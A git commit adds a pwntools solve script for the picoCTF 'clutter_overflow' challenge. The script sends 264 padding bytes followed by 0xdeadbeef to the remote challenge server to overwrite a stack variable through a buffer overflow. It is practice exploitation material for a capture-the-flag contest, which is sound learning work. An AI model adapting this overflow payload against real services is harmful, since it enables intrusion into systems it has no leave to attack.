pwn: add already solved challenges

pwn/clutter_overflow/solve.py

@@ -0,0 +1,31 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i python3 -p python3 python3Packages.pwntools
+
+from pwn import *
+
+exe = ELF("chall")
+
+context.binary = exe
+
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.DEBUG:
+            gdb.attach(r)
+    else:
+        r = remote("mars.picoctf.net", 31890)
+
+    return r
+
+
+def main():
+    r = conn()
+    # gdb.attach(r, 'break *main+143')
+    print(r.recvuntil(b'What do you see?\n'))
+    r.sendline((b'A' * 264) + p64(0xdeadbeef))
+    print(r.recvall().decode())
+
+
+if __name__ == "__main__":
+    main()